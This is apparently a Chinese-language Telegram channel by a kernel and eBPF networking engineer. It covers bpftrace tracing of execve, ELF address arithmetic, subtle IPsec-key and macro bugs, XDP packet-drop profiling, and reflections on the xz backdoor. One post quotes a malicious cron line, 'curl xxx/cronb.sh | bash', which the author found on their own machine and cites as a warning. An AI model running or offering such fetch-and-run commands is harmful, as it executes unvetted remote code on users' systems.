Welcome to the Black Parade
613 subscribers
507 photos
4 videos
8 files
241 links
Death has many faces, I look forward to seeing this one.
Download Telegram
我一周内被同事连续忽悠去 kubecon 和 lpc 演讲是怎么回事。。。恐怖的支线任务,好比 xcom2 的外星人报复行动、神界原罪2的肇事者洞穴、废土3的野外遭遇战、气球塔防6的领土模式,都主打一个恶心、难打、高付出、低收益,任何一个神志清醒的人都不会自愿去干那种事,就算去都是捏着鼻子去完成主人的任务,还必须让公司报销。

以上是内向+高敏感精神病人的扭曲世界观,匿了。首先祝愿 cfp 不被接受,那就万事大吉,速通大结局。
5
https://github.com/cilium/ebpf/pull/1257

我已经迫不及待要用 ubuntu 2404,目前可公开的情报是 2404 会默认打开 CONFIG_NETKIT
我最近工作内容一览:

1. 检查 5 个分支上的 CI 运行情况
2. 仔细检查失败的 CI,下载 sysdump,推敲是否因为自己 PR 导致。此步骤是因为我司精妙的 CI 测试有过多“假阳性”,没人知道为什么会出错,本地无法复现,虔诚地重试两三次就又变好了。当然也可能混杂着真实的 bug,所以需要借我一双慧眼。
3. 如果感觉不是自己 PR 导致的 CI 失败,点击 Re-run failed jobs。要虔诚,要念念有词。
4. 新一轮 CI rerun 结果,大概会耗时 40min ~ 1h。此期间可以跑虚拟机尝试复现可能的 bug,或者打开乒乓球贴吧看大头被喷。周四的时候可以看海贼王最新话。也可以 review 同事代码, 反正无脑点 approve 就行了 还是要认真看的,偶尔需要拉下来运行试试。
5. 如果刷完贴吧 CI 还没跑完,可以做分支任务,比如我目前有另一个低优先级的 bug 要查。
6. goto step1,直到 CI 全绿或者下班。

面向 CI 编程,只要 CI 通过了就算合并了脏东西也没人怪你。这,就是纤毛 Enterprise.

(以上都是虚构,如有,纯属。)
麻了,一上班组领导给我说又进入紧急状态了,要我扔掉手上的活开始和另外的同事日夜倒班车轮战解决问题。

谢谢你,感谢有你,世界更美丽。
🥴2
黄老师 mozillazg 前几天问了一个有趣的问题,简化版是这样的:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int main() {
char *argv[] = { "/bin/ls", NULL };
if (fork() == 0) {
execve("/bin/ls", argv, NULL);
return EXIT_FAILURE;
}
}


问,为什么上面的 execve(2) 的参数不能被下面的 bpftrace 抓到

bpftrace -e 'tracepoint:syscalls:sys_enter_execve {printf("%s\n", str(args->filename));}'


让我们直接快进到答案,因为我也不会🤣尘 ssfdust 发现已经有人在 bpftrace 问过同样的问题,太长不看版本就是: bpf_probe_read_user 只能读到已经载入内存 (page-faulted into memory) 的数据,而上面代码直到 execve(2) 之时都还未读过 .rodata,未曾触发 page fault。这可以用 tracepoint:exceptions:page_fault* 来验证。

但是今天同事告诉我可以用另一个 hook 来避开这个问题: sched/sched_process_exec

tracepoint:sched:sched_process_exec
{
$task=curtask;
$arg_start=$task->mm->arg_start;
$arg_end=$task->mm->arg_end;
printf("%r\n", buf(uptr($arg_start), $arg_end-$arg_start));
}


当然上面代码过于简陋,你可能需要管道给 sed 's/\\x00/ /g' 把 \x00 换成空格才能有基本的可读性,同时注意 bpftrace buf() 函数有 BPFTRACE_MAX_STRLEN 限制会截断,其实并没有 bpftrace 自带的 execsnoop.bt 好用。除非有人用完整的 bpf,把 [task->mm->arg_start, task->mm->arg_end] 全部读到 percpu map,然后用正儿八经的内核态->用户态传递接口传大数据,而这就有点超越 bpftrace 的能力了。(bcc 可以)

其实过程中还发现了其他好玩的东西,让我自己玩明白了再说(

(感谢 mzz 教我从 task->mm->arg_start 读命令行,虽然他不在频道里(
👍8
Forwarded from tma_ports_utilized_3m
重说一下计算用户态地址的算法,上面说得很乱。

1. gdb 看到 $rdi 是 0x2004,这是 elf_address
2. 运行 a.out,立刻检查 /proc/$pid/maps,得到内存映射关系,主要看起始的地址,记作 start_address (其实是分段映射的,凑合看吧)
3. 真实的用户态地址是 start_address + elf_offset,所以接下来计算 elf_offset
4. elf_offset = elf_address - text.Address + text.Offset,我们来检查 elf 的 .text section

$ readelf -S ./a.out | grep text -A1

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align

[16] .text PROGBITS 00000000000010c0 000010c0
0000000000000167 0000000000000000 AX 0 0 16


那个 00000000000010c0 和 00000000000010c0 就是 text.address 和 text.offset。 对于 gcc 和 c 这个多半是相同的,但是对于 go 就不同,所以要检查。

接下来可以计算了:

real_addr= start_addr + (elf_address - text.Address + text.Offset)
= 0x634e9df76000 + (0x2004 - 0x10c0 +0x10c0 )
= 0x634e9df78004

然后你用相同的办法 bpftrace 观测 page fault 事件,看到 args->address 就是上面算出的值。
4
那些肉眼很难看出的 bug 们

1. 从 k8s secret 里取一个数据出来,抠出数字,++,然后放回去,同时随机生成 key。

    KEYID=$(kubectl get secret -n kube-system cilium-ipsec-keys -o go-template --template={{.data.keys}} | base64 -d | cut -c 1)
if [[ $KEYID -ge 15 ]]; then KEYID=0; fi
data=$(echo "{\"stringData\":{\"keys\":\"$((($KEYID+1))) "rfc4106\(gcm\(aes\)\)" $(echo $(dd if=/dev/urandom count=20 bs=1 2> /dev/null| xxd -p -c 64)) 128\"}}")
kubectl patch secret -n kube-system cilium-ipsec-keys -p="${data}" -v=1


2. 输入 global key + src/dst node ip + src/dst boot id,生成 sha 摘要。

func computeNodeIPsecKey(globalKey, srcNodeIP, dstNodeIP, srcBootID, dstBootID []byte) []byte {
input := append(globalKey, srcNodeIP...)
input = append(input, dstNodeIP...)
input = append(input, srcBootID...)
input = append(input, dstBootID...)
output := sha256.Sum256(input)
return output[:len(globalKey)]
}

func deriveNodeIPsecKey(globalKey *ipSecKey, srcNodeIP, dstNodeIP net.IP, srcBootID, dstBootID string) *ipSecKey {
nodeKey := &ipSecKey{
Spi: globalKey.Spi,
ReqID: globalKey.ReqID,
ESN: globalKey.ESN,
}

if globalKey.Aead != nil {
nodeKey.Aead = &netlink.XfrmStateAlgo{
Name: globalKey.Aead.Name,
Key: computeNodeIPsecKey(globalKey.Aead.Key, srcNodeIP, dstNodeIP, []byte(srcBootID), []byte(dstBootID)),
ICVLen: globalKey.Aead.ICVLen,
}
}

return nodeKey
}


3. 一个 macro,拼 ipv6 128 位地址

#define DEFINE_IPV6(NAME, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16) \
DEFINE_U64_I(NAME, 1) = bpf_cpu_to_be64( \
(__u64)(a1) << 56 | (__u64)(a2) << 48 | (__u64)(a3) << 40 | \
(__u64)(a4) << 32 | (a5) << 24 | (a6) << 16 | (a7) << 8 | (a8)); \
DEFINE_U64_I(NAME, 2) = bpf_cpu_to_be64( \
(__u64)(a9) << 56 | (__u64)(a10) << 48 | (__u64)(a11) << 40 | \
(__u64)(a12) << 32 | (a13) << 24 | (a14) << 16 | (a15) << 8 | (a16));
Welcome to the Black Parade
那些肉眼很难看出的 bug 们 1. 从 k8s secret 里取一个数据出来,抠出数字,++,然后放回去,同时随机生成 key。 KEYID=$(kubectl get secret -n kube-system cilium-ipsec-keys -o go-template --template={{.data.keys}} | base64 -d | cut -c 1) if [[ $KEYID -ge 15 ]]; then KEYID=0; fi data=$(echo…
1. 第一行 KEYID 试图抠出一个数字,最后一个管道错了, echo '12 asdf' | cut -c 1 切出来的不是 12 而是 1 。 bug 存活时间:五个月。

2. net.IP 是 []byte,可能会用 [16]byte 存 IPv4,甚至可能用 IPv4-mapped IPv6 ("::ffff:192.0.2.1"),导致计算密钥的函数在看似相同入参的情况有不同的返回。同时 append 可能修改 globalKey。bug 存活时间:三个月。

3. a5 是 byte, <<24 之后变成 int32,如果这个 int32 最高位不幸是 1,和前面的 uint64 OR 操作会被 sign-extend 成高 32 位全是 1 的 uint64。具体来说, a5 本来是 0x88 , 二进制 0b10001000, <<24 后变成 0x88000000,和 u64 OR 被扩展成 0xffffffff88000000。bug 存活时间:六个月。

#include <stdio.h>
#include <stdint.h>

int main()
{
signed char a5 = 0x88;
printf("%llx, %llx\n", a5 << 24, (uint64_t)(a5 << 24)); // 88000000, ffffffff88000000
}
😱4
今天的事情大家都知道了,我说一个小细节, https://www.openwall.com/lists/oss-security/2024/03/29/4 里用 time 来测量耗时,其实这里就已经有信息量了。

注意看 real +0.5s,user 和 sys 不变,这意思是 用户态 on-cpu 和内核态 on-cpu 耗时不增加,那么总耗时增加只有一种可能: off-cpu,比如 IO 或者其他阻塞。

如果我是当事人观察到这个现象,我立刻尝试 strace -fTtt 观测 syscalls,期望的输出是有一些 syscall 耗时特别大,加起来正好等于 0.5s,ssh 进程正是阻塞在等待这些 syscall 返回上。

如果上一步成立,接下来运行 strace -k,观察是谁在调用这些慢 syscall。

原贴说了这个后门做了 gdb 防御,所以如果是检测 ptrace 的话不一定 strace 能观察到,所以只是一个想法,用在正常的软件 debug 还行。

作者也说了,他一开始是使用 perf record 来看性能,但是正如我在频道里多次说过,off-cpu 耗时不被 perf 采样,不可能看出问题。大家有这种经验之后就可以无脑跳过 perf 阶段。

最后作者说性能慢在加载一些额外的符号表,我猜测就是这一步加载符号表的 IO 导致的 +0.5s,可能就是一个 read(2) 之类的。

(说起来我自己的 ubuntu 桌面前几周还发现不知道何时被安装了一个 cron 任务在不断 curl xxx/cronb.sh | bash ,吓死了。大家没事可以运行 execsnoop 看看都有什么牛鬼蛇神在干坏事。)
👍2
大约凌晨三点半醒来
莫名其妙喝了一杯苏打
厌世气泡嗝出了一片绿林 微微不安
👍8
今天有人提到 Lasse Collin 对于 xz 项目早就疲惫不堪,Jia Tan 是极少数愿意真正贡献代码的“开发者”,这都是这场悲剧不可或缺的背景条件。

在无人关心的角落,Florian Westphal 最近辞去了内核 netfilter co-maintainer ("Mainly due to burnout"),所以现在 nf 只剩 Pablo Neira Ayuso 一人维护。这可是无数人每天使用的 netfilter。

在无人关心的角落,我最爱的工具之一 strace 依然只由一个捷克人 Dmitry V. Levin 默默维护。

在无人关心的角落,tcpdump/libpcap 在由 四人小组 the-tcpdump-group 持续更新,其中一位 Denis Ovsienko 的自我介绍是 sometimes I work jobs for living, sometimes I contribute pro bono to free and open source software projects, often I do both,给人一种很孤独的感觉。

在无人关心的角落,bash group 只有三位 active members,其中一位 Bob Proulx 有个古典博客,里面有记录他和妻子的平静生活。

我以前赞美人月神话,但我现在更关心默默无闻的开发者们,就像 vim 作者 Bram Moolenaar 一生没有和任何人建立亲密关系,我只想问,你这一生过得开心吗?

你们这些伟大的开发者们过得开心吗?
😢353👍1
思科入职礼物包。。。虽然我还没入职
🤩20👍6🥰1
我麻了, xdp->data_meta 夹带给 skb->data_meta 的功能在重定向的时候用不了。

u32 bpf_prog_run_generic_xdp(struct sk_buff *skb, struct xdp_buff *xdp,
struct bpf_prog *xdp_prog)
{
[...]
case XDP_PASS:
metalen = xdp->data - xdp->data_meta;
if (metalen)
skb_metadata_set(skb, metalen);
break;
}
[...]
}


之前的设计付之一炬,我的心二级烧伤 😭
所以我经常自嘲说自己只是一个 API boy 确实不假。靠想象做判断,靠目测做 perf,发现新的 API 就兴高采烈,至于这个 API 好还是不好连想都懒得想,更别说实际跑个 benchmark 看看数据。都说用十年学会编程 [1],而我至今不 “了解你的计算机要花多长时间执行一条指令,从内存中取一个字(有cache),从磁盘中读取连续的字, 和在磁盘中找到新的位置” ,我真棒😊

*[1]: http://daiyuwen.freeshell.org/gb/misc/21-days-cn.html
👍2
原来 vxlan decap 是一个 socket lookup!

这意味着一个 vxlan udp 从 eth0 ip_rcv 之后,接下来的路由决策 (ip_route_input_slow) 会是 input (ip_local_delivery),而不是 forward (ip_forward),尽管看起来 eth0 -> vxlan0 这一步像是 forward 路径。

理解了以上,才能知道 vxlan decap 要经过那些 netfilter 和 xfrm。

同时这个 socket lookup 是真的有个 vxlan socket,你真的可以 ss -a 看到一个 udp socket binding vxlan port。

我想起在 2016 年调研 flannel 的时候,我在 vagrant 里死活搭建不起来 vxlan 隧道,tcpdump 只告诉我 eth0 收到了 udp,然后它就消失在时空幻境里。现在想起来,很可能是 udp outer ip 和 vxlan socket 绑定的地址不同,SKB_DROP_REASON_NO_SOCKET。

在很长时间里我都说服大脑:vxlan en/decap 好比 eth0 和 vxlan0 之间的虫洞,udp 从 eth0 进就会解包从 vxlan0 出,tcp 从 vxlan0 进就会封包变成 udp 从 eth0 出。这显然是根本没有抓住本质的形而上。真高兴我今天能在 7 年前的 trello card 上把这件未解之谜划掉。
思科要发一个这个。。用来开会。。。不想要。。。。
🤣4
看多了 Linus 骂人,今天让我们看看 Linus 被怼: https://lore.kernel.org/all/CAHC9VhSMWr9OEsHQ6y=3fw+Qk_1mWg2GcCfERHD4vn9Y_XOJsQ@mail.gmail.com/

其实还是回复得很有礼貌了,我的话可能会说 "you are too old to understand security" (应该也不会,太没素质了)
👍3
昨天做了很有趣的网络 profiling 学习,分享一些想法,很可能有事实错误谨慎阅读。

1. 要知道 profile 工具是在做什么。比如 sockperf pingpong 其实在测 datapath 的“长度”,而 iperf 在测 datapath “宽度”。所以会出现 sockperf 并无明显变化但是 iperf 数据巨变的场景。

2. 还是要先确定 on-cpu 和 off-cpu。perf stat -B -e cache-references,cache-misses,cycles,instructions,branches,faults,migrations 就很好。一个典型的 on-cpu 导致网络更慢的例子是 netfilter。典型的 off-cpu 导致更慢的例子是跨越 netns 时候的 enqueue_to_backlog。

3. 老生常谈了,off cpu 就不要 perf record,没意义还乱误导。offcputime-bpfcc 挺好,但是在网络发包场景下可能指导意义不如用户态 profiling。比如 offcputime 说有大量的以下调用,不太熟悉内核的话也不能得出特别有用的结论。

    finish_task_switch.isra.0
schedule
schedule_timeout
wait_woken
sk_stream_wait_memory
tcp_sendmsg_locked
tcp_sendmsg
inet_sendmsg
sock_write_iter
vfs_write
ksys_write
__x64_sys_write
do_syscall_64
entry_SYSCALL_64_after_hwframe
write


4. 一些简单的统计,比如 bpftrace -e 'BEGIN {printf("start\n")} k:*skb* /comm == "iperf"/ {@skb[probe]++;}' 看 skb 函数们被调用的次数。如果了解发包大致流程可以直接细化,比如只看 k:ip_local_out 看进程发包数量, kprobe:netif_rx 看 netdev 收包数。这里其实能看出很多事情,假如 ip_local_out 次数不等于 netif_rx 次数,说明 GSO 了。

5. 我的场景就是发现 ip_local_out 次数急剧上升,赶紧做了全量 tcpdump,发现大量 tcp retrans。其实用 tcpretrans.bt 也能发现。

6. tcp 重传只是表象,本质是大包被扔了。最后用 pwru 精准抓包发现是 SKB_DROP_REASON_XDP。看代码,原来 XDP native 的 redirect 会检查 dst netdev mtu,这是 tc clsact bpf 没有的步骤。

static inline int xdp_ok_fwd_dev(const struct net_device *fwd,
unsigned int pktlen)
{
unsigned int len;

if (unlikely(!(fwd->flags & IFF_UP)))
return -ENETDOWN;

len = fwd->mtu + fwd->hard_header_len + VLAN_HLEN;
if (pktlen > len)
return -EMSGSIZE;

return 0;
}


(说到这里再友情提醒 xdp generic 没有 GRO 所以不要用在生产。)

这时候再回头看上面的 offcputime,才意识到那个 sk_stream_wait_memory 其实就是 tcp retrans 的深层栈:

$ s bpftrace -e 'k:tcp_retransmit_skb /comm == "iperf"/ {@retrans[kstack]++}'
Attaching 1 probe...
^C

@retrans[
tcp_retransmit_skb+1
tcp_xmit_retransmit_queue+33
tcp_xmit_recovery+35
tcp_ack+1619
tcp_rcv_established+392
tcp_v4_do_rcv+361
__release_sock+199
release_sock+48
sk_stream_wait_memory+414
tcp_sendmsg_locked+1123
tcp_sendmsg+44
inet_sendmsg+66
sock_write_iter+365
vfs_write+916
ksys_write+201
__x64_sys_write+25
do_syscall_64+88
entry_SYSCALL_64_after_hwframe+110
]: 3


虽然最后运气好找到了问题根因但我感觉还是完全不得要领。那些记在两年前笔记本上的网络性能未解之谜还是一头雾水。
6
Andrej Stender 的这两张图画得特别好,相比 Jan Engelhardt 在 2012 画的那张 netfilter packet flow,这张图详略得当地说清楚了 nf 和 xfrm 是怎么一起运作的。我已验证过图上大部分内容,可放心食用。

作者 Andrej Stender 是德国人但是他居然 lived abroad for many years (China, Austria) and enjoy contact with foreign cultures and people with an international mindset. My personal interests include Chinese language (普通话), Chinese culture and Wok cooking [1] 😂

[1] https://thermalcircle.de/doku.php?id=about
👍10